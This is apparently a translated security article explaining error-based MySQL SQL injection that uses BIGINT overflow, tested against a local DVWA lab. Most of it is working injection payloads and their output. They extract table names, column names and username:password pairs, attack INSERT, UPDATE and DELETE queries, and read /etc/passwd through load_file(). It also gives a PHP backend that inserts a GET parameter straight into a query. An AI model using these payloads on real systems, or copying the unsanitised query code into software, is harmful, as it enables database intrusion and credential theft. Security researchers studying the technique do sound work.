Я решил поискать новые техники, связанные с извлечением данных при помощи ошибок в MySQL, а конкретно – при помощи переполнений.
Автор: Osanda Malith Jayathissa (@OsandaMalith)
Введение
Я решил поискать новые техники, связанные с извлечением данных при помощи ошибок в MySQL, а конкретно – при помощи переполнений. Вначале рассмотрим различные целочисленные типы, используемые в MySQL.
Целочисленный тип |
Размер |
Минимальное значение |
Максимальное значение |
|
(Байты) |
(Знаковое/Беззнаковое) |
(Знаковое/Беззнаковое) |
TINYINT |
1 |
-128 |
127 |
|
|
0 |
255 |
SMALLINT |
2 |
-32768 |
32767 |
|
|
0 |
65535 |
MEDIUMINT |
3 |
-8388608 |
8388607 |
|
|
0 |
16777215 |
INT |
4 |
-2147483648 |
2147483647 |
|
|
0 |
4294967295 |
BIGINT |
8 |
-9223372036854775808 |
9223372036854775807 |
|
|
0 |
18446744073709551615 |
(Источник: http://dev.mysql.com/doc/refman/5.5/en/integer-types.html)
Переполнения, показанные ниже, будут работать в MySQL 5.5.5 и более поздних версиях. В старых версиях целочисленное переполнение будет приводить к тихому заворачиванию (wraparound).
Размер целочисленного типа BIGINT – 8 байт или 64 бита. Максимальное знаковое число типа BIGINT в различных системах счисления будет выглядеть так: 0b0111111111111111111111111111111111111111111111111111111111111111 (двоичная система), 0x7fffffffffffffff (шестнадцатеричная система), 9223372036854775807 (десятичная система). Если мы прибавим к каждому из вышеуказанных чисел единицу, возникнет ошибка «BIGINT value is out of range»:
mysql> select 9223372036854775807+1;
ERROR 1690 (22003): BIGINT value is out of range in '(9223372036854775807 + 1)'
Чтобы избежать этой ошибки мы можем просто привести тип к беззнаковому целому.
Максимальное беззнаковое число типа BIGINT в различных системах счисления будет выглядеть так: 0b1111111111111111111111111111111111111111111111111111111111111111 (двоичная система), 0xFFFFFFFFFFFFFFFF (шестнадцатеричная система), 18446744073709551615 (десятичная система).
Делаем тот же самый трюк, прибавляя единицу к максимальному числу. Опять появляется ошибка «BIGINT value is out of range»:
# Прибавляем единицу к максимальному беззнаковому десятичному числу
mysql> select 18446744073709551615+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(18446744073709551615 + 1)'
# Прибавляем единицу к максимальному беззнаковому двоичному числу
mysql> select cast(b'1111111111111111111111111111111111111111111111111111111111111111' as unsigned)+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(cast(0xffffffffffffffff as unsigned) + 1)'
# Прибавляем единицу к максимальному беззнаковому шестнадцатеричному числу
mysql> select cast(x'FFFFFFFFFFFFFFFF' as unsigned)+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(cast(0xffffffffffffffff as unsigned) + 1)'
Теперь попробуем выполнить операцию поразрядного логического отрицания для 0. Очевидно, результатом операции будет максимальное беззнаковое число типа BIGING.
mysql> select ~0;
+----------------------+
| ~0 |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)
Если мы прибавим или вычтем вышеуказанное выражение от единицы, опять получим переполнение.
mysql> select 1-~0;
ERROR 1690 (22003): BIGINT value is out of range in '(1 - ~(0))'
mysql> select 1+~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(1 + ~(0))'
Конструкция SQL-инъекции
Для извлечения данных мне захотелось вызвать переполнение в BIGINT в связке с подзапросами. Если выполнить логическое отрицание для любого запроса, то, очевидно, в результате мы получим 1, поскольку при успешном выполнении запроса возвращается 0. Рассмотрим пример логического отрицания для запроса (select*from(select user())x);
mysql> select (select*from(select user())x);
+-------------------------------+
| (select*from(select user())x) |
+-------------------------------+
| root@localhost |
+-------------------------------+
1 row in set (0.00 sec)
# Применяем логическое отрицание
mysql> select !(select*from(select user())x);
+--------------------------------+
| !(select*from(select user())x) |
+--------------------------------+
| 1 |
+--------------------------------+
1 row in set (0.00 sec)
Прекрасно! Теперь мы можем скомбинировать поразрядное и логическое отрицание и сконструировать инъекцию на базе переполнения:
mysql> select ~0+!(select*from(select user())x);
ERROR 1690 (22003): BIGINT value is out of range in '(~(0) + (not((select 'root@localhost' from dual))))'
Поскольку во время парсинга в браузере ‘+’ будет конвертироваться в пробел (для знака ‘+’ вы можете использовать %2b), мы заменим ‘+’ на ‘-’. Существует несколько вариантов для одной и той же инъекции:
!(select*from(select user())x)-~0
(select(!x-~0)from(select(select user())x)a)
(select!x-~0.from(select(select user())x)a)
Попробуем использовать инъекцию в следующем запросе:
mysql> select username, password from users where id='1' or !(select*from(select user())x)-~0;
ERROR 1690 (22003): BIGINT value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'
http://localhost/dvwa/vulnerabilities/sqli/?id=1' or !(select*from(select user())x)-~0-- -&Submit=Submit#
Рисунок 1: Выполнение инъекции через URL
Использовать инъекцию на основе переполнения типа BIGING можно почти для каждой математической функции в MySQL, польку там тоже участвует отрицание. Просто передайте аргумент в функцию, как показано ниже:
select !atan((select*from(select user())a))-~0;
select !ceil((select*from(select user())a))-~0;
select !floor((select*from(select user())a))-~0;
Я протестировал следующие функции (возможно, есть и другие):
HEX
FLOOR
CEIL
RAND
CEILING
TRUNCATE
TAN
SQRT
ROUND
SIGN
Извлечение данных
Извлечение данных ничем не отличается от других инъекций. Рассмотрим некоторые примеры.
Получение имен таблиц:
!(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x)-~0;
Получение имен колонок:
select !(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x)-~0;
Получение логинов и паролей:
!(select*from(select concat_ws(':',id, username, password) from users limit 0,1)x)-~0;
Рисунок 2: Тестирование SQL-инъекций
Полная выгрузка за один присест
Можем ли мы выгрузить все базы данных, колонки и таблицы за раз? Ответ и «Да» и «Нет». Когда мы попытаемся выгрузить таблицы и колонки из всех баз данных, то сможем получить не особо много результатов, поскольку получаем информацию через ошибку. Максимальное количество результатов - 27 (при выгрузке информации из текущей базы данных). Вот некоторые вариации запросов:
!(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where
table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)-~0
(select(!x-~0)from(select(concat (@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat
(@,0xa,table_name,0x3a3a,column_name)),@))x)a)
(select!x-~0.from(select(concat (@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat
(@,0xa,table_name,0x3a3a,column_name)),@))x)a)
Рисунок 3: Получаем имена колонок в таблице пользователей и гостевой книге
Рисунок 4: Перечень первых 27 колонок в таблице test
Главный ограничитель – количество результатов запроса может быть не более 27. Если, к примеру, создать таблицу, где 31 колонка, мы сможем получить только первые 27 колонок. Остальные таблицы и колонки показаны не будут.
Инъекции при вставке
В insert-запросах синтаксис может быть либо ‘’, либо (полезная нагрузка). Присутствие кавычек зависит от запроса. Я уже писал на эту тему статью в блоге и полноценный мануал.
mysql> insert into users (id, username, password) values (2, '' or !(select*from(select user())x)-~0 or '', 'Eyre');
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'
Другие запросы, нацеленные на то, чтобы сделать все за один раз:
mysql> insert into users (id, username, password) values (2, '' or !(select*from(select(concat(@:=0,(select
count(*)from`information_schema`.columns where
table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)-~0 or '', 'Eyre');
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select '000
newdb::users::id
newdb::users::username
newdb::users::password' from dual))) - ~(0))'
Рисунок 5: Тестирование SQL-инъекций при вставке данных
Инъекции при обновлении
Инъекции при обновлении (запросы типа UPDATE) ничем не отличаются от инъекций при вставках. Пример:
mysql> update users set password='Peter' or !(select*from(select user())x)-~0 or '' where id=4;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'
Инъекции при удалении
Инъекции при удалении (запросы типа DELETE) ничем не отличаются от всех предыдущих конструкций:
mysql> delete from users where id='1' or !(select*from(select user())x)-~0 or '';
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'
Чтение содержимого файлов
Вы можете читать файлы при помощи функции load_file(), однако я заметил, что есть лимит. Максимум, что можно прочитать – 13 строк.
select !(select*from(select load_file('/etc/passwd'))x)-~0;
Рисунок 6: Чтение содержимого файла passwd
Вы не сможете записать что-либо в файл, поскольку инъекция основана на ошибке. В файл запишется только 0.
mysql> select !(select*from(select 'hello')x)-~0 into outfile 'C:/out.txt';
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'hello' from dual))) - ~(0))'
# содержимое C:\out.txt
0
Заключение
Чтобы выполнить вышеуказанные инъекции, функция mysql_error() должна возвращать сообщение об ошибке. Версия MySQL должна быть 5.5.5 или выше. Можно реализовать и другие варианты инъекций, отличные от тех, что были представлены в этой статье. Например, даже попытка выполнить операцию 1 - 0 XOR 222 приведет к переполнению типа BIGINT.
mysql> select !1-0^222;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not(1)) - (0 ^ 222))'
mysql> select !(select*from(select user())a)-0^222;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - (0 ^ 222))'
Если в коде бэкэнда отсутствуют кавычки, двойные кавычки или скобки, мы можем выполнить инъекцию без операции OR.
Обновленный код на бэкэнде:
<?php
if(isset($_GET['Submit'])){
// Retrieve data
$id = $_GET['id'];
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
$num = mysql_numrows($result);
$i = 0;
while ($i < $num) {
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
$html .= '<pre>';
$html .= 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
$html .= '</pre>';
$i++;
}
}
?>
SQL-инъекция:
http://localhost/dvwa/vulnerabilities/sqli/?id=!(select*from(select user())a)-0^222&Submit=Submit#
Рисунок 7: Результат работы обновленной SQL-инъекции без операции OR
Ссылки